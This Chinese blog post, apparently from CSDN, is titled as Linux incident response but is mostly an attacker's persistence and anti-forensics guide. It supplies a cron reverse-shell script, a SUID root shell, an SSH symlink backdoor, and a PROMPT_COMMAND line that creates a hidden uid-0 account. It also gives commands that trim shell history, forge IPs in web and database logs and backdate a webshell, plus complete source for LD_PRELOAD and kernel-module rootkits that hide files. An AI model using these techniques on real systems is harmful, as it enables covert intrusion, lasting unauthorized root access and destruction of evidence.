Linux权限及应急响应

在讨论到权限维持时,其实不只是单纯对权限上的维持行为(如计划任务反弹shell),更为关键的是如何与管理员/蓝队/设备对抗,避免被管理员排查及设备告警等以达到长期且真正意义上的权限维持的效果。

垃圾计划任务

**/var/spool/cron/** 目录下存放的是每个用户包括root的crontab任务,每个任务以创建者的名字命名

**/etc/crontab** 这个文件负责调度各种管理和维护任务。

**/etc/cron.d/** 这个目录用来存放任何要执行的crontab文件或脚本。

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#!/bin/bash
bash -i >& /dev/tcp/127.0.0.1/1234 0>&1
vim /etc/crontab
*/1 * * * * root /etc/.reverse.sh

SUID RootShell:

cp /bin/bash /dev/.rootshell
chmod u+s /dev/.rootshell

SSH公私钥(免密登陆):

ssh-keygen -t rsa

id_rsa.pub写入服务端的authorized_keys

chmod 600 ~/.ssh/authorized_keys
chmod 700 ~/.ssh

SSH软链接后门:

cat /etc/pam.d/su
cat /etc/ssh/sshd_config|grep UsePAM
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=4567

pam_rootok.so主要作用是使得uid为0的用户,即root用户可以直接通过认证而不需要输入密码。

PROMPT_COMMAND提权

在shell中,当你每次执行命令之后都会再执行一遍$PROMPT_COMMAND.

这个只是留做后门,有些黑客则是利用这点来进行提权。
 这个要求管理员有su的习惯,我们可以通过它来添加一个id=0的用户

export PROMPT_COMMAND="/usr/sbin/useradd -o -u 0 hack  &>/dev/null && echo hacker:123456 | /usr/sbin/chpasswd  &>/dev/null && unset PROMPT_COMMAND"

处理命令记录:

比如前150行是用户的正常操作记录,150以后是攻击者操作记录。我们可以只保留正常的操作,删除攻击痕迹的历史操作记录,这里,我们只保留前150行:

sed -i '150,$d' .bash_history

无法删除的文件:

Linux chattr命令 | 菜鸟教程

chattr +i jaky.sh

日志Tips:

首先是Apache日志,Apache主要的日志就是access.log``error_log,前者记录了HTTTP的访问记录,后者记录了服务器的错误日志。根据Linux的配置不同和Apache的版本的不同,文件的放置位置也是不同的,不过这些都可以在httpd.conf中找到。

对于明文的Apache文件,通过正则表达式就可以搞定:
sed –i 's/192.168.1.3/192.168.1.4/g' /var/log/apache/access.log
sed –i 's/192.168.1.3/192.168.1.4/g' /var/log/apache/error_log
其中192.168.1.3是我们的IP,192.168.1.4使我们伪造的IP。
在正则表达式中有特殊的含义,所以需要用“”来进行转义。

MySQL日志文件
log-error=/var/log/mysql/mysql_error.log #错误日志
log=/var/log/mysql/mysql.log#最好注释掉,会产生大量的日志,包括每一个执行的sql及环境变量的改变等等
log-bin=/var/log/mysql/mysql_bin.log # 用于备份恢复,或主从复制.这里不涉及。
log-slow-queries=/var/log/mysql/mysql_slow.log #慢查询日志
log-error=/var/log/mysql/mysqld.log
pid-file=/var/run/mysqld/mysqld.pid

sed –i 's/192.168.1.3/192.168.1.4/g' /var/log/mysql/mysql_slow.log

至于二进制日志文件,需要登录mysql client来修改删除,建议这种操作最先执行。

php日志修改
sed –i 's/192.168.1.3/192.168.1.4/g'
/var/log/apache/php_error.log
最后就是Linux的日志文件了,这个比较多,记录的也比较复杂,我的环境是CentOS 6.3。我现在只把和渗透有关的文件列出来,主要在/etc/logrotate.d/syslog中

/var/log/maillog,该日志文件记录了每一个发送到系统或从系统发出的电子邮件的活动,它可以用来查看用户使用哪个系统发送工具或把数据发送到哪个系统

var/log/messages,该文件的格式是每一行包含日期、主机名、程序名,后面是包含PID或内核标识的方括号,一个冒号和一个空格

/var/log/wtmp,该日志文件永久记录每个用户登录、注销及系统的启动,停机的事件。该日志文件可以用来查看用户的登录记录,last命令就通过访问这个文件获得这些信息,并以反序从后向前显示用户的登录记录,last也能根据用户,终端tty或时间显示相应的记录

/var/run/utmp,该日志文件记录有关当前登录的每个用户的信息,因此这个文件会随着用户登录和注销系统而不断变化,它只保留当时联机的用户记录,不会为用户保留永久的记录。系统中需要查询当前用户状态的程序,如who、w、users、finger等就需要访问这个文件

/var/log/xferlog,该日志文件记录FTP会话,可以显示出用户向FTP服务器或从服务器拷贝了什么文件。该文件会显示用户拷贝到服务器上的用来入侵服务器的恶意程序,以及该用户拷贝了哪些文件供他使用。

bash_history,这是bash终端的命令记录,能够记录1000条最近执行过的命令(具体多少条可以配置),通过这个文件可以分析此前执行的命令来知道知否有入侵者,每一个用户的home目录里都有这么一个文件

清除脚本:
https://github.com/JonGates/jon

Linux/Unix 修改文件时间戳

Unix 下藏后门必须要修改时间,否则很容易被发现,直接利用 ***\*touch\**** 就可以了。

比如参考 index.php 的时间,再赋给 webshell.php,结果两个文件的时间就一样了。

touch -r index.php webshell.php

或者直接将时间戳修改成某年某月某日。如下 2014 年 01 月 02 日。

touch -t 1401021042.30 webshell.php

Bashrc Rootkit:

.bashrc为用户根目录下的隐藏文件,每次打开一个shell时都会先执行一遍.bashrc中的内容。

考点:/etc/profile,/etc/bashrc与~/.bashrc的区别

**假设/tmp/backdoor为需要隐蔽的进程文件**

alias垃圾简易版,也可以:

alias ps='function _ps { command ps "$@" | grep -Ev "backdoor"; }; _ps'
alias top='function _top { command top "$@" | grep -Ev "backdoor"; }; _top'

当然我们也可以直接在bashrc中写反弹shell,但注意不能写sh或bash -i反弹,否则bashrc递归。

LD_PRELOAD Rootkit:

推荐看一下ctf大佬D.T关于LD_PRELOAD的文章:LD_PRELOAD学习 - Delete's blog

没劫持时加载的库:

vim /tmp/working-dir-test/hijackls.c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
// Function pointer typedef for the original readdir ls function
typedef struct dirent* (*ls_t)(DIR*);
// Interposed ls function
struct dirent* readdir(DIR* dirp) {
// Get the original readdir address
ls_t original_readdir = (ls_t)dlsym(RTLD_NEXT, "readdir");
struct dirent* entry;
do {
// Call the original ls function to get the next directory entry
    entry = original_readdir(dirp);
// Check if the entry is the file we want to hide
if (entry != NULL && strcmp(entry->d_name, "malicious_file") == 0) {
// Skip the file by calling the original ls function again
      entry = original_readdir(dirp);
    }
  } while (entry != NULL && strcmp(entry->d_name, "malicious_file") == 0);
return entry;
}

使用dlsym()函数获取了原始的readdir()函数地址,ls_t是一个函数指针类型,用于存储readdir()系统调用的原始函数地址。

定义一个新的readdir()函数来替换原始函数

在新函数中,它会调用原始的readdir()函数来循环获取目录中文件,并在检查entry->d_namemalicious_file后跳过该文件。

gcc -shared -fPIC -o /tmp/working-dir-
test/libhijackls.so /tmp/working-dir-
test/hijackls.c -ldl # 编译为共享对象
touch file_1 file_2 malicious_file
export LD_PRELOAD=/tmp/working-dir-test/libhijackls.so #劫持
echo "/tmp/working-dir-test/libhijackls.so" > /etc/ld.so.preload
unset LD_PRELOAD #取消劫持

可以看到该库在执行时加载到内存中。

**注意:**

**/etc/ld.so.preload**是一个系统范围的配置文件,适用于所有进程并影响整个系统。访问此文件需要 root  权限。

**LD_PRELOAD**是一个环境变量,它允许单个用户为每个进程指定要为特定可执行文件或命令预加载的库。因此,您无需成为 root  用户即可使用它。

**LD_PRELOAD**定义的库在**/etc/ld.so.preload**中的库之前加载。

 LKM Rootkit:

#include<linux/sched.h>
#include<linux/module.h>
#include<linux/syscalls.h>
#include<linux/dirent.h>
#include<linux/slab.h>
#include<linux/version.h>
#include<linux/proc_ns.h>
#include<linux/fdtable.h>
#ifndef __NR_getdents
#define __NR_getdents 141
#endif
#define MAGIC_PREFIX "malicious_file"
#define MODULE_NAME "lkmdemo"

structlinux_dirent {
unsignedlong   d_ino;
unsignedlong   d_off;
unsignedshort  d_reclen;
char            d_name[1];
};

unsignedlong cr0;
staticunsignedlong *__sys_call_table;
typedef asmlinkage long(*t_syscall)(const struct pt_regs *);
static t_syscall orig_getdents;
static t_syscall orig_getdents64;

unsignedlong * get_syscall_table_bf(void)
{
unsignedlong *syscall_table;
  syscall_table = (unsignedlong*)kallsyms_lookup_name("sys_call_table");
return syscall_table;
}
static asmlinkage longhacked_getdents64(const struct pt_regs *pt_regs){
structlinux_dirent * dirent = (struct linux_dirent *) pt_regs->si;
int ret = orig_getdents64(pt_regs), err;
unsignedlong off = 0;
structlinux_dirent64 *dir, *kdirent, *prev =NULL;
if (ret <= 0)
return ret;
  kdirent = kzalloc(ret, GFP_KERNEL);
if (kdirent == NULL)
return ret;
  err = copy_from_user(kdirent, dirent, ret);
if (err)
goto out;
while (off < ret) {
    dir = (void *)kdirent + off;
if (memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0) {
if (dir == kdirent) {
        ret -= dir->d_reclen;
memmove(dir, (void *)dir + dir->d_reclen, ret);
continue;
      }
      prev->d_reclen += dir->d_reclen;
    } else
      prev = dir;
    off += dir->d_reclen;
  }
  err = copy_to_user(dirent, kdirent, ret);
if (err)
goto out;
out:
kfree(kdirent);
return ret;
}

static asmlinkage longhacked_getdents(const struct pt_regs *pt_regs){
structlinux_dirent * dirent = (struct linux_dirent *) pt_regs->si;
int ret = orig_getdents(pt_regs), err;
unsignedlong off = 0;
structlinux_dirent *dir, *kdirent, *prev =NULL;
if (ret <= 0)
return ret;  
  kdirent = kzalloc(ret, GFP_KERNEL);
if (kdirent == NULL)
return ret;
  err = copy_from_user(kdirent, dirent, ret);
if (err)
goto out;
while (off < ret) {
    dir = (void *)kdirent + off;
if (memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0) {
if (dir == kdirent) {
        ret -= dir->d_reclen;
memmove(dir, (void *)dir + dir->d_reclen, ret);
continue;
      }
      prev->d_reclen += dir->d_reclen;
    } else
      prev = dir;
    off += dir->d_reclen;
  }
  err = copy_to_user(dirent, kdirent, ret);
if (err)
goto out;
out:
kfree(kdirent);
return ret;
}

staticinlinevoidwrite_cr0_forced(unsignedlong val)
{
unsignedlong __force_order;
asmvolatile(
"mov %0, %%cr0"
    : "+r"(val), "+m"(__force_order));
}

staticinlinevoidprotect_memory(void)
{
write_cr0_forced(cr0);
}
staticinlinevoidunprotect_memory(void)
{
write_cr0_forced(cr0 & ~0x00010000);
}

staticint __init lkmdemo_init(void)
{
  __sys_call_table = get_syscall_table_bf();
if (!__sys_call_table)
return-1;
  cr0 = read_cr0();
  orig_getdents = (t_syscall)__sys_call_table[__NR_getdents];
  orig_getdents64 = (t_syscall)__sys_call_table[__NR_getdents64];
unprotect_memory();
  __sys_call_table[__NR_getdents] = (unsignedlong) hacked_getdents;
  __sys_call_table[__NR_getdents64] = (unsignedlong) hacked_getdents64;
protect_memory();
return0;
}

staticvoid __exit lkmdemo_cleanup(void)
{
unprotect_memory();
  __sys_call_table[__NR_getdents] = (unsignedlong) orig_getdents;
  __sys_call_table[__NR_getdents64] = (unsignedlong) orig_getdents64;
protect_memory();
}

module_init(lkmdemo_init);
module_exit(lkmdemo_cleanup);

MODULE_LICENSE("Dual BSD/GPL");
MODULE_AUTHOR("demo");
MODULE_DESCRIPTION("LKM rootkit based on diamorphine");

创建Makefile:

obj-m := lkmdemo.o
CC = gcc -Wall 
KDIR := /lib/modules/$(shell uname -r)/build
PWD := $(shell pwd)

all:
$(MAKE) -C $(KDIR) M=$(PWD) modules

clean:
$(MAKE) -C $(KDIR) M=$(PWD) clean

创建.ko文件:

sudo make

加载内核模块:

insmod lkmdemo.ko

列出内核模块,在实战中需隐藏/proc/modules中该模块的内容以避免排查:

lsmod

卸载内核模块:

rmmod lkmdemo

后续实现请参考Reptile:GitHub - f0rb1dd3n/Reptile: LKM Linux rootkit

隐藏进程: /reptile/reptile_cmd hide <pid> 
显示进程: /reptile/reptile_cmd show <pid>
隐藏udp: /reptile/reptile_cmd udp <IP> <port> hide 
显示udp: /reptile/reptile_cmd udp <IP> <port> show
隐藏tcp: /reptile/reptile_cmd tcp <IP> <port> hide 
显示tcp: /reptile/reptile_cmd tcp <IP> <port> show
隐藏文件 所有包含 reptile 这个字符的文件会被隐藏,这个字符可以在配置文件中修改。

ebpf Rootkit:

eBPF 程序并不像常规的线程那样,启动后就一直运行在那里,它需要事件触发后才会执行。这些事件包括系统调用、内核跟踪点、内核函数和用户态函数的调用退出、网络事件,等等。借助于强大的内核态插桩(kprobe)和用户态插桩(uprobe),eBPF 程序几乎可以在内核和应用的任意位置进行插桩。

例如,我们可以在以下事件发生时运行我们的 BPF 程序:

  • 应用发起 read/write/connect 等系统调用

  • TCP 发生重传

  • 网络包达到网卡

xdp ebpf和bpf技术都是为了获取数据包,可以做到不需要监听端口、客户端可以向服务端做单向通信。它俩的区别在于,xdp ebpf后门比bpf后门更加隐蔽,在主机上用tcpdump可以抓取bpf后门流量,但无法抓取xdp ebpf后门流量。

GitHub - Gui774ume/ebpfkit: ebpfkit is a rootkit powered by eBPF

Reference:

《 我所了解的渗透测试——Linux后门类型 》:`https://www.anquanke.com/post/id/155943`

《Linux rootkit 深度分析 – 第1部分:动态链接器劫持》:`https://zhuanlan.zhihu.com/p/665371348`

《Linux rootkit 深度分析 – 第 2 部分:可加载内核模块》:`https://zhuanlan.zhihu.com/p/666203507`

《深入浅出 eBPF: (Linux/Kernel/XDP/BCC/BPFTrace/Cillium) 》:`https://blog.csdn.net/Rong_Toa/article/details/120251611`

 后续还会持续直播全程hvv公开课免费,希望各位大哥留点时间看看,建议新手学生,和想冲中级的大哥们来听。

  • 14
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值